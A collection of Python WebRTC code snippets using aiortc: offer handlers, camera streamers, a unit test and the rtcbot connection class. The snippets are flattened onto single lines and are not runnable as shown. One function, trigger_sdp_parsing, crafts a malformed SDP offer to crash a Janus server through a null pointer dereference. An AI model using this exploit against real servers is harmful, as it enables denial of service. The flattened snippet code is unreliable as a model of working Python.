async def offer(request): params = await request.json() offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"]) pc = RTCPeerConnection() pcs.add(pc) @pc.on("datachannel") def on_datachannel(channel): @channel.on("message") def on_message(message): channel.send("pong") @pc.on("iceconnectionstatechange") async def on_iceconnectionstatechange(): print("ICE connection state is %s" % pc.iceConnectionState) if pc.iceConnectionState == "failed": await pc.close() cameravideo = VideoSender() pc.addTrack(cameravideo) # handle offer await pc.setRemoteDescription(offer) # send answer answer = await pc.createAnswer() await pc.setLocalDescription(answer) return web.Response( content_type="application/json", text=json.dumps( {"sdp": pc.localDescription.sdp, "type": pc.localDescription.type} ), )
def __init__(self, defaultChannelOrdered=True, loop=None): super().__init__( directPutSubscriptionType=asyncio.Queue, defaultSubscriptionType=asyncio.Queue, logger=self._log, ) self._loop = loop if self._loop is None: self._loop = asyncio.get_event_loop() self._dataChannels = {} # These allow us to easily signal when the given events happen self._dataChannelSubscriber = SubscriptionProducer( logger=self._log.getChild("dataChannelSubscriber") ) self._rtc = RTCPeerConnection() self._rtc.on("datachannel", self._onDatachannel) # self._rtc.on("iceconnectionstatechange", self._onIceConnectionStateChange) self._rtc.on("track", self._onTrack) self._hasRemoteDescription = False self._defaultChannelOrdered = defaultChannelOrdered self._videoHandler = ConnectionVideoHandler(self._rtc) self._audioHandler = ConnectionAudioHandler(self._rtc)
async def offer(request): params = await request.json() offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"]) pc = RTCPeerConnection() pc_id = "PeerConnection(%s)" % uuid.uuid4() pcs.add(pc) def log_info(msg, *args): logger.info(pc_id + " " + msg, *args) log_info("Created for %s", request.remote) @pc.on("datachannel") def on_datachannel(channel): @channel.on("message") def on_message(message): if isinstance(message, str) and message.startswith("ping"): channel.send("pong" + message[4:]) @pc.on("iceconnectionstatechange") async def on_iceconnectionstatechange(): log_info("ICE connection state is %s", pc.iceConnectionState) if pc.iceConnectionState == "failed": await pc.close() pcs.discard(pc) @pc.on("track") def on_track(track): log_info("Track %s received", track.kind) if track.kind == "audio": # pc.addTrack(player.audio) # recorder.addTrack(track) pass elif track.kind == "video": local_video = VideoTransformTrack(track) pc.addTrack(local_video) @track.on("ended") async def on_ended(): log_info("Track %s ended", track.kind) # await recorder.stop() # handle offer await pc.setRemoteDescription(offer) # await recorder.start() # send answer answer = await pc.createAnswer() await pc.setLocalDescription(answer) return web.Response( content_type="application/json", text=json.dumps({ "sdp": pc.localDescription.sdp, "type": pc.localDescription.type }), )
def aio_loop(args): pc = RTCPeerConnection() if args.role == "caller": coro = run_caller_rtc(pc) else: coro = run_callee_rtc(pc) asyncio.set_event_loop_policy(aiogevent.EventLoopPolicy()) loop = asyncio.get_event_loop() try: asyncio.ensure_future(coro) loop.run_forever() except KeyboardInterrupt: pass finally: loop.run_until_complete(pc.close())
async def offer(request): params = await request.json() offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"]) pc = RTCPeerConnection() pc._consumers = [] pc._datachannel = None pcs.append(pc) # prepare local media local_audio = AudioFileTrack(path=os.path.join(ROOT, "demo-instruct.wav")) # local_video = VideoTransformTrack(transform=params["video_transform"]) @pc.on("datachannel") def on_datachannel(channel): pc._datachannel = channel @channel.on("message") def on_message(message): channel.send("pong") @pc.on("track") def on_track(track): print("RECEIVE TRACK", track) if track.kind == "audio": # pc.addTrack(local_audio) pc._consumers.append( asyncio.ensure_future(consume_audio(track, pc))) elif track.kind == "video": # pc.addTrack(local_video) # pc._consumers.append( # asyncio.ensure_future(consume_video(track, local_video)) # ) pass await pc.setRemoteDescription(offer) answer = await pc.createAnswer() await pc.setLocalDescription(answer) return web.Response( content_type="application/json", text=json.dumps({ "sdp": pc.localDescription.sdp, "type": pc.localDescription.type }), )
async def connect(self, host, port, turn=None): ice_servers = [RTCIceServer('stun:stun.l.google.com:19302')] if turn: ice_servers.append(turn) config = RTCConfiguration(ice_servers) self.pc = RTCPeerConnection(config) if not self.__video: self.__video = await self.__get_tracks() self.pc.addTrack(MediaRelay().subscribe(self.__video)) offer = await self.pc.createOffer() await self.pc.setLocalDescription(offer) self.signaling = WebSocketClient(host, port) async def send_offer(): logger.debug(f"Ice Gathering State: {self.pc.iceGatheringState}") if self.pc.iceGatheringState == 'complete': logger.debug("Offer sent") await self.signaling.send_data({ "sdp": self.pc.localDescription.sdp, "type": self.pc.localDescription.type }) else: self.pc.once("icegatheringstatechange", send_offer) @self.signaling.on_connected async def on_connected(_): await send_offer() @self.signaling.on_message async def on_message(message): logger.debug(f"{message.get('type')} received") if message.get("type") == "answer": answer = RTCSessionDescription(sdp=message["sdp"], type=message["type"]) await self.pc.setRemoteDescription(answer) @self.pc.on("connectionstatechange") async def on_connectionstatechange(): if self.pc.connectionState == "failed": await self.pc.close() logger.info(f"Connection state: {self.pc.connectionState}")
def run(self): signaling = CopyAndPasteSignaling() pc = RTCPeerConnection() if self._conn_type == WebRTCConnection.OFFER: func = self._set_offer else: func = self._run_answer try: asyncio.run(func(pc, signaling)) except KeyboardInterrupt: pass finally: loop = asyncio.get_event_loop() loop.run_until_complete(pc.close()) loop.run_until_complete(signaling.close())
def create_pc(): pc = RTCPeerConnection() @pc.on('datachannel') def on_datachannel(channel): channel_log(channel, '-', 'created by remote party') return pc
async def establish(sid, environ): #create a webrtc connection WebRTCConnections[sid] = RTCPeerConnection() sdpOffer = WebRTCConnections[sid].createOffer() emit("offer", sdpOffer, namespace='/webrtc', callback=lambda: WebRTCConnections[sid].setLocalDescription(sdpOffer))
async def offer(request): params = await request.json() offer = RTCSessionDescription(sdp=params['sdp'], type=params['type']) pc = RTCPeerConnection() pcs.add(pc) # prepare local media player = MediaPlayer(os.path.join(ROOT, 'demo-instruct.wav')) if args.write_audio: recorder = MediaRecorder(args.write_audio) else: recorder = MediaBlackhole() @pc.on('datachannel') def on_datachannel(channel): @channel.on('message') def on_message(message): if isinstance(message, str) and message.startswith('ping'): channel.send('pong' + message[4:]) @pc.on('iceconnectionstatechange') async def on_iceconnectionstatechange(): print('ICE connection state is %s' % pc.iceConnectionState) if pc.iceConnectionState == 'failed': await pc.close() pcs.discard(pc) @pc.on('track') def on_track(track): print('Track %s received' % track.kind) if track.kind == 'audio': pc.addTrack(player.audio) recorder.addTrack(track) elif track.kind == 'video': local_video = VideoTransformTrack( track, transform=params['video_transform']) pc.addTrack(local_video) @track.on('ended') async def on_ended(): print('Track %s ended' % track.kind) await recorder.stop() # handle offer await pc.setRemoteDescription(offer) await recorder.start() # send answer answer = await pc.createAnswer() await pc.setLocalDescription(answer) return web.Response(content_type='application/json', text=json.dumps({ 'sdp': pc.localDescription.sdp, 'type': pc.localDescription.type }))
async def offer(request): params = await request.json() offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"]) pc = RTCPeerConnection() pcs.add(pc) @pc.on("connectionstatechange") async def on_connectionstatechange(): print("Connection state is %s" % pc.connectionState) if pc.connectionState == "failed": await pc.close() pcs.discard(pc) # open media source audio, video = create_local_tracks(args.play_from) await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): if t.kind == "audio" and audio: pc.addTrack(audio) elif t.kind == "video" and video: pc.addTrack(video) answer = await pc.createAnswer() await pc.setLocalDescription(answer) return web.Response( content_type="application/json", text=json.dumps( {"sdp": pc.localDescription.sdp, "type": pc.localDescription.type} ), )
async def offer(params: Offer): offer = RTCSessionDescription(sdp=params.sdp, type=params.type) pc = RTCPeerConnection() pcs.add(pc) recorder = MediaBlackhole() @pc.on("connectionstatechange") async def on_connectionstatechange(): print("Connection state is %s" % pc.connectionState) if pc.connectionState == "failed": await pc.close() pcs.discard(pc) # open media source audio, video = create_local_tracks() # handle offer await pc.setRemoteDescription(offer) await recorder.start() # send answer answer = await pc.createAnswer() await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): if t.kind == "audio" and audio: pc.addTrack(audio) elif t.kind == "video" and video: pc.addTrack(video) await pc.setLocalDescription(answer) return {"sdp": pc.localDescription.sdp, "type": pc.localDescription.type}
async def offer(request): params = await request.json() print(params["sdp"]) offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"]) pc = RTCPeerConnection() pcs.add(pc) @pc.on("iceconnectionstatechange") async def on_iceconnectionstatechange(): print("ICE connection state is %s" % pc.iceConnectionState) if pc.iceConnectionState == "failed": await pc.close() pcs.discard(pc) await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): pc.addTrack(VideoImageTrack()) answer = await pc.createAnswer() await pc.setLocalDescription(answer) # print(answer.sdp) # sdp = ''.join(answer.sdp).split('\n') # for i in range(len(sdp)): # line = sdp[i] # if line.startswith("m="): # words = line.split(' ') # length = len(words) - 1 # words[length] = words[length].replace('\r', '') # words[length], words[length-1] = words[length-1], words[length] # line = ' '.join(words) # print(sdp, sep='\n') # answer.sdp = '\n'.join(sdp) #print('\n'.join(sdp)) return web.Response( content_type="application/json", text=json.dumps({ "sdp": pc.localDescription.sdp, "type": pc.localDescription.type }), )
async def Negotiate(self, request, context): message = request sdp = message.sdp type_ = message.type offer = RTCSessionDescription(sdp=sdp, type=type_) pc = RTCPeerConnection() self.pcs.add(pc) @pc.on("iceconnectionstatechange") async def on_iceconnectionstatechange(): print("ICE connection state is %s" % pc.iceConnectionState) if pc.iceConnectionState == "failed": await pc.close() self.pcs.discard(pc) options = {"framerate": "30", "video_size": "640x480"} player = MediaPlayer("/dev/video0", format="v4l2", options=options) await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): if t.kind == "audio" and player.audio: pc.addTrack(player.audio) elif t.kind == "video" and player.video: pc.addTrack(player.video) answer = await pc.createAnswer() await pc.setLocalDescription(answer) response = webrtc_pusher_pb2_pb2.SDP(sdp=pc.localDescription.sdp, type=pc.localDescription.type) return response
async def offer(request): params = await request.json() offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"]) pc = RTCPeerConnection() pcs.add(pc) @pc.on("iceconnectionstatechange") async def on_iceconnectionstatechange(): if pc.iceConnectionState == "failed": await pc.close() pcs.discard(pc) player = DualFishEyeToEquirectangularStreamer(args.camera_id) await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): if t.kind == "audio" and player.audio: pc.addTrack(player.audio) elif t.kind == "video" and player.video: pc.addTrack(player) #player.video answer = await pc.createAnswer() await pc.setLocalDescription(answer) return web.Response( content_type="application/json", text=json.dumps({ "sdp": pc.localDescription.sdp, "type": pc.localDescription.type }), )
async def offer(request): params = await request.json() offer = RTCSessionDescription( sdp=params['sdp'], type=params['type']) pc = RTCPeerConnection() pcs.add(pc) @pc.on('iceconnectionstatechange') async def on_iceconnectionstatechange(): print('ICE connection state is %s' % pc.iceConnectionState) if pc.iceConnectionState == 'failed': await pc.close() pcs.discard(pc) player = MediaPlayer('/dev/video0', options={'video_size': 'vga'}) await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): if t.kind == 'audio' and player.audio: pc.addTrack(player.audio) elif t.kind == 'video' and player.video: pc.addTrack(player.video) answer = await pc.createAnswer() await pc.setLocalDescription(answer) return web.Response( content_type='application/json', text=json.dumps({ 'sdp': pc.localDescription.sdp, 'type': pc.localDescription.type }))
def create_pc(): # pc = RTCPeerConnection() # @pc.on('datachannel') # def on_datachannel(channel): # channel_log(channel, '-', 'created by remote party') # channel_watch(channel) # return pc #
async def create_peer_connection(self, peerid): if peerid in self.peers: raise Exception("Peer already exists") else: self.peers[peerid] = { 'pc': RTCPeerConnection(), 'event': asyncio.Event() } return True
def run(self): self.signaling = CopyAndPasteSignaling() self.pc = RTCPeerConnection() if self._conn_type == WebRTCConnection.OFFER: func = self._set_offer else: func = self._run_answer self.loop = asyncio.new_event_loop() try: self.loop.run_until_complete(func(self.pc, self.signaling)) except Exception: self.loop.run_until_complete(self.pc.close()) # Stop loop: self.loop.run_until_complete(self.loop.shutdown_asyncgens()) self.loop.close()
async def process_offer(params): if params['camera_id'] != self.camera_id: return print('[rtc]: received offer...') # params = await request.json() offer = RTCSessionDescription(sdp=params['offer']["sdp"], type=params['offer']["type"]) pc = RTCPeerConnection() self.pc[params['camera_id']] = pc self.pcs.add(self.pc[params['camera_id']]) @pc.on("iceconnectionstatechange") async def on_iceconnectionstatechange(): print("[rtc]: ICE connection state is %s" % pc.iceConnectionState) if pc.iceConnectionState == "failed": await pc.close() self.pcs.discard(pc) await self.socket.emit(event='ice-connection-failed', data={ 'camera_id': params['camera_id'], 'token': params['token'] }) # open media source print(f'[rtc]: fetching stream {self.camera_address}') # player = None # if self.camera_address == '://0': # if platform.system() == 'Darwin': # # Open webcam on OS X. # player = MediaPlayer('default:none', format='avfoundation', options={'framerate': '30'}) # else: # player = MediaPlayer('/dev/video0', format='v4l2') # else: player = self.camera.player await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): if t.kind == "audio" and player.audio: pc.addTrack(player.audio) elif t.kind == "video" and player.video: pc.addTrack(player.video) answer = await pc.createAnswer() await pc.setLocalDescription(answer) print('[rtc]: sending answer...') await self.socket.emit( 'answer', { 'camera_id': params['camera_id'], 'token': params['token'], 'answer': { "sdp": pc.localDescription.sdp, "type": pc.localDescription.type } })
def run(self): """ Main thread method used to set up the connection and manage all the process.""" self.signaling = CopyAndPasteSignaling() self.pc = RTCPeerConnection() if self._conn_type == WebRTCConnection.OFFER: func = self._set_offer else: func = self._run_answer self.loop = asyncio.new_event_loop() try: self.loop.run_until_complete(func(self.pc, self.signaling)) except Exception: self.loop.run_until_complete(self.pc.close()) # Stop loop: self.loop.run_until_complete(self.loop.shutdown_asyncgens()) self.loop.close()
async def trigger_sdp_parsing(self, name='konata', plugin_name='janus.plugin.videocall'): session = JanusSession(self.url, name) await session.create() self.log_success('session created') plugin = await session.attach(plugin_name) self.log_success('attached to {} plugin'.format(plugin_name)) pc = RTCPeerConnection() pc.addTrack(VideoStreamTrack()) await pc.setLocalDescription(await pc.createOffer()) self.log_info( 'trying to trigger null pointer dereference at janus_sdp_preparse') sdp = '\n'.join([ 'v=-1', 'o=aaaa 0 0 IN IP6 cccc', 's=aaaa', 't=1 2', 'c=IN IP4 dddd', 'm=audio 1 ffff 0', 'a=mid' ]) self.log_info('malicious sdp is crafted') try: self.log_info('sending a malicious offer...') response = await plugin.send({ "body": {}, "jsep": { "sdp": sdp, "type": 'offer' } }) except Exception: self.log_success('null dereference is triggered') sys.exit(0) answer = await session.get_answer() log.info('got answer: {}'.format(answer)) await pc.setRemoteDescription( RTCSessionDescription(sdp=answer["sdp"], type=answer["type"])) await asyncio.sleep(10)
async def offer(request): params = await request.json() offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"]) pc = RTCPeerConnection() pcs.add(pc) @pc.on("iceconnectionstatechange") async def on_iceconnectionstatechange(): print("ICE connection state is %s" % pc.iceConnectionState) if pc.iceConnectionState == "failed": await pc.close() pcs.discard(pc) # # open media source # if args.play_from: # player = MediaPlayer(args.play_from) # else: # options = {"framerate": "30", "video_size": "640x480"} # if platform.system() == "Darwin": # player = MediaPlayer("default:none", format="avfoundation", options=options) # else: # player = MediaPlayer("/dev/video0", format="v4l2", options=options) await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): # if t.kind == "audio" and player.audio: # pc.addTrack(player.audio) # elif t.kind == "video" and player.video: # #pc.addTrack(player.video) # pc.addTrack(OutputVideoStreamTrack()) if t.kind == "video": pc.addTrack(OutputVideoStreamTrack()) answer = await pc.createAnswer() await pc.setLocalDescription(answer) return web.Response( content_type="application/json", text=json.dumps( {"sdp": pc.localDescription.sdp, "type": pc.localDescription.type} ), )
def test_setRemoteDescription_unexpected_offer(self): pc = RTCPeerConnection() pc.addTrack(AudioStreamTrack()) offer = run(pc.createOffer()) run(pc.setLocalDescription(offer)) with self.assertRaises(InvalidStateError) as cm: run(pc.setRemoteDescription(RTCSessionDescription(sdp='', type='offer'))) self.assertEqual(str(cm.exception), 'Cannot handle offer in signaling state "have-local-offer"')
def __init__( self, mode: WebRtcMode, player_factory: Optional[MediaPlayerFactory] = None, video_transformer_factory: Optional[VideoTransformerFactory] = None, async_transform: bool = True, ) -> None: self._thread = None self._loop = None self.pc = RTCPeerConnection() self._answer_queue = queue.Queue() self._stop_requested = False self.mode = mode self.player_factory = player_factory self.video_transformer_factory = video_transformer_factory self.async_transform = async_transform self._video_transformer = None self._video_receiver = None
async def offer(request): params = await request.json() offer = RTCSessionDescription(sdp=params['sdp'], type=params['type']) pc = RTCPeerConnection() pcs.add(pc) # prepare local media player = MediaPlayer(os.path.join(ROOT, 'demo-instruct.wav')) if args.write_audio: recorder = MediaRecorder(args.write_audio) else: recorder = MediaBlackhole() @pc.on('datachannel') async def on_datachannel(channel): closed = asyncio.Event() queue = asyncio.Queue() print("Channel opened") @channel.on('close') def on_close(): print("Channel closed") closed.set() @channel.on('message') async def on_message(message): await queue.put(message) #channel.send(message) print(message) await cloud_browser(channel, closed, queue) @pc.on('iceconnectionstatechange') async def on_iceconnectionstatechange(): print('ICE connection state is %s' % pc.iceConnectionState) if pc.iceConnectionState == 'failed': await pc.close() pcs.discard(pc) # handle offer await pc.setRemoteDescription(offer) await recorder.start() # send answer answer = await pc.createAnswer() await pc.setLocalDescription(answer) return web.Response(content_type='application/json', text=json.dumps({ 'sdp': pc.localDescription.sdp, 'type': pc.localDescription.type }))
def __init__(self, config: Config, track: ScreenCaptureTrack, input_handler: InputHandler): self._config = config peer_connection_config = config.get_peer_connection_config() ice_servers: List[RTCIceServer] = [ RTCIceServer(ice.url, ice.username, ice.credential) for ice in peer_connection_config.ice_servers ] self._pc = RTCPeerConnection(RTCConfiguration(iceServers=ice_servers)) self._track = track self._input_handler = input_handler self._pc.addTrack(self._track) self._control_channel: RTCDataChannel = self._pc.createDataChannel( "control") self._control_channel.on("message", self._on_message) self._lock = asyncio.Lock() self._connection_task: Optional[asyncio.Task[None]] = None
def start_peer(room=None, signaling_folder=None, play_from=None, record_to=None, frame_transformer=None, verbose=False, ice_servers=None, multiprocess=False): if verbose: logging.basicConfig(level=logging.DEBUG) else: logging.basicConfig(level=logging.INFO) if ice_servers: logger.debug('Using ICE servers:', ice_servers) servers = [RTCIceServer(*server) if type(server) == tuple else RTCIceServer(server) for server in ice_servers] pc = RTCPeerConnection( configuration=RTCConfiguration(servers)) else: pc = RTCPeerConnection() # room = str(room) if signaling_folder: signaling = ColabSignaling(signaling_folder=signaling_folder, room=room) else: signaling = ColabApprtcSignaling(room=room) # create media source if play_from: player = MediaPlayer(play_from) else: player = None # create media sink if record_to: recorder = MediaRecorder(record_to) else: recorder = MediaBlackhole() if multiprocess: p = Process(target=run_process, args=(pc, player, recorder, signaling, frame_transformer)) p.start() return signaling.room, p else: run_process(pc, player, recorder, signaling, frame_transformer) return signaling.room, None
async def offer(request): global camera params = await request.json() offer = RTCSessionDescription(sdp=params["sdp"], type=params["type"]) video_track = PiH264StreamTrack(RATE) camera = picamera.PiCamera() camera.resolution = (640, 480) camera.framerate = RATE camera.start_recording( video_track, format="h264", profile="constrained", inline_headers=True, sei=False, ) pc = RTCPeerConnection() pcs.add(pc) @pc.on("iceconnectionstatechange") async def on_iceconnectionstatechange(): print("ICE connection state is %s" % pc.iceConnectionState) if pc.iceConnectionState == "failed": await pc.close() pcs.discard(pc) await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): if t.kind == "video": t.setCodecPreferences(preferences) pc.addTrack(video_track) answer = await pc.createAnswer() await pc.setLocalDescription(answer) print(answer) return web.Response( content_type="application/json", text=json.dumps({ "sdp": pc.localDescription.sdp, "type": pc.localDescription.type }), )
async def viewer_need_offer(data): pcs = set() viewer_id = data["viewer_id"] print("Server ask for offer to viewer " + viewer_id) remote_description = data["offer"] sdp = remote_description["sdp"] type_ = remote_description["type"] offer = RTCSessionDescription(sdp=sdp, type=type_) pc = RTCPeerConnection() pcs.add(pc) @pc.on("iceconnectionstatechange") async def on_iceconnectionstatechange(): print("ICE connection state is %s" % pc.iceConnectionState) if pc.iceConnectionState == "failed": await pc.close() pcs.discard(pc) cv2_track = CV2Track() await pc.setRemoteDescription(offer) for t in pc.getTransceivers(): if t.kind == "video": pc.addTrack(cv2_track) print("cv2_tracker added...") answer = await pc.createAnswer() await pc.setLocalDescription(answer) offer = { "sdp": pc.localDescription.sdp, "type": pc.localDescription.type } await sio.emit("offer_to_viewer", { "viewer_id": viewer_id, "offer": offer })
async def get_RTCPeer_payload(): pc = RTCPeerConnection( RTCConfiguration( iceServers=[RTCIceServer("stun:stun.l.google.com:19302")])) @pc.on("track") async def on_track(track): logger.debug("Receiving %s" % track.kind) if track.kind == "video": pc.addTrack(VideoTransformTrack(track)) @track.on("ended") async def on_ended(): logger.info("Track %s ended", track.kind) pc.addTransceiver("video", direction="recvonly") offer = await pc.createOffer() await pc.setLocalDescription(offer) new_offer = pc.localDescription payload = {"sdp": new_offer.sdp, "type": new_offer.type} return (pc, json.dumps(payload, separators=(",", ":")))
async def offer(request): params = await request.json() offer = RTCSessionDescription(sdp=params['sdp'], type=params['type']) pc = RTCPeerConnection() pcs.append(pc) player = MediaPlayer('/dev/video0', {'video_size': 'vga'}) pc.addTrack(player.video) await pc.setRemoteDescription(offer) answer = await pc.createAnswer() await pc.setLocalDescription(answer) player.start() return web.Response(content_type='application/json', text=json.dumps({ 'sdp': pc.localDescription.sdp, 'type': pc.localDescription.type }))
class RTCConnection(SubscriptionProducerConsumer): _log = logging.getLogger("rtcbot.RTCConnection") def __init__(self, defaultChannelOrdered=True, loop=None): super().__init__( directPutSubscriptionType=asyncio.Queue, defaultSubscriptionType=asyncio.Queue, logger=self._log, ) self._loop = loop if self._loop is None: self._loop = asyncio.get_event_loop() self._dataChannels = {} # These allow us to easily signal when the given events happen self._dataChannelSubscriber = SubscriptionProducer( logger=self._log.getChild("dataChannelSubscriber") ) self._rtc = RTCPeerConnection() self._rtc.on("datachannel", self._onDatachannel) # self._rtc.on("iceconnectionstatechange", self._onIceConnectionStateChange) self._rtc.on("track", self._onTrack) self._hasRemoteDescription = False self._defaultChannelOrdered = defaultChannelOrdered self._videoHandler = ConnectionVideoHandler(self._rtc) self._audioHandler = ConnectionAudioHandler(self._rtc) async def getLocalDescription(self, description=None): """ Gets the description to send on. Creates an initial description if no remote description was passed, and creates a response if a remote was given, """ if self._hasRemoteDescription or description is not None: # This means that we received an offer - either the remote description # was already set, or we passed in a description. In either case, # instead of initializing a new connection, we prepare a response if not self._hasRemoteDescription: await self.setRemoteDescription(description) self._log.debug("Creating response to connection offer") try: answer = await self._rtc.createAnswer() except AttributeError: self._log.exception( "\n>>> Looks like the offer didn't include the necessary info to set up audio/video. See RTCConnection.video.offerToReceive(). <<<\n\n" ) raise await self._rtc.setLocalDescription(answer) return { "sdp": self._rtc.localDescription.sdp, "type": self._rtc.localDescription.type, } # There was no remote description, which means that we are initializing the # connection. # Before starting init, we create a default data channel for the connection self._log.debug("Setting up default data channel") channel = DataChannel( self._rtc.createDataChannel("default", ordered=self._defaultChannelOrdered) ) # Subscribe the default channel directly to our own inputs and outputs. # We have it listen to our own self._get, and write to our self._put_nowait channel.putSubscription(NoClosedSubscription(self._get)) channel.subscribe(self._put_nowait) self._dataChannels[channel.name] = channel # Make sure we offer to receive video and audio if if isn't set up yet if len(self.video._senders) == 0 and self.video._offerToReceive: self._log.debug("Offering to receive video") self._rtc.addTransceiver("video", "recvonly") if len(self.audio._senders) == 0 and self.audio._offerToReceive: self._log.debug("Offering to receive audio") self._rtc.addTransceiver("audio", "recvonly") self._log.debug("Creating new connection offer") offer = await self._rtc.createOffer() await self._rtc.setLocalDescription(offer) return { "sdp": self._rtc.localDescription.sdp, "type": self._rtc.localDescription.type, } async def setRemoteDescription(self, description): self._log.debug("Setting remote connection description") await self._rtc.setRemoteDescription(RTCSessionDescription(**description)) self._hasRemoteDescription = True def _onDatachannel(self, channel): """ When a data channel comes in, adds it to the data channels, and sets up its messaging and stuff. """ channel = DataChannel(channel) self._log.debug("Got channel: %s", channel.name) if channel.name == "default": # Subscribe the default channel directly to our own inputs and outputs. # We have it listen to our own self._get, and write to our self._put_nowait channel.putSubscription(NoClosedSubscription(self._get)) channel.subscribe(self._put_nowait) # Set the default channel self._defaultChannel = channel else: self._dataChannelSubscriber.put_nowait(channel) self._dataChannels[channel.name] = channel def _onTrack(self, track): self._log.debug("Received %s track from connection", track.kind) if track.kind == "audio": self._audioHandler._onTrack(track) elif track.kind == "video": self._videoHandler._onTrack(track) def onDataChannel(self, callback=None): """ Acts as a subscriber... """ return self._dataChannelSubscriber.subscribe(callback) def addDataChannel(self, name, ordered=True): """ Adds a data channel to the connection. Note that the RTCConnection adds a "default" channel automatically, which you can subscribe to directly. """ self._log.debug("Adding data channel to connection") if name in self._dataChannels or name == "default": raise KeyError("Data channel %s already exists", name) dc = DataChannel(self._rtc.createDataChannel(name, ordered=ordered)) self._dataChannels[name] = dc return dc def getDataChannel(self, name): """ Returns the data channel with the given name. Please note that the "default" channel is considered special, and is not returned. """ if name == "default": raise KeyError( "Default channel not available for 'get'. Use the RTCConnection's subscribe and put_nowait methods for access to it." ) return self._dataChannels[name] @property def video(self): """ Convenience function - you can subscribe to it to get video frames once they show up """ return self._videoHandler @property def audio(self): """ Convenience function - you can subscribe to it to get video frames once they show up """ return self._audioHandler def close(self): """ If the loop is running, returns a future that will close the connection. Otherwise, runs the loop temporarily to complete closing. """ super().close() # And closes all tracks self.video.close() self.audio.close() for dc in self._dataChannels: self._dataChannels[dc].close() self._dataChannelSubscriber.close() if self._loop.is_running(): self._log.debug("Loop is running - close will return a future!") return asyncio.ensure_future(self._rtc.close()) else: self._loop.run_until_complete(self._rtc.close()) return None def send(self, msg): """ Send is an alias for put_nowait - makes it easier for people new to rtcbot to understand what is going on """ self.put_nowait(msg)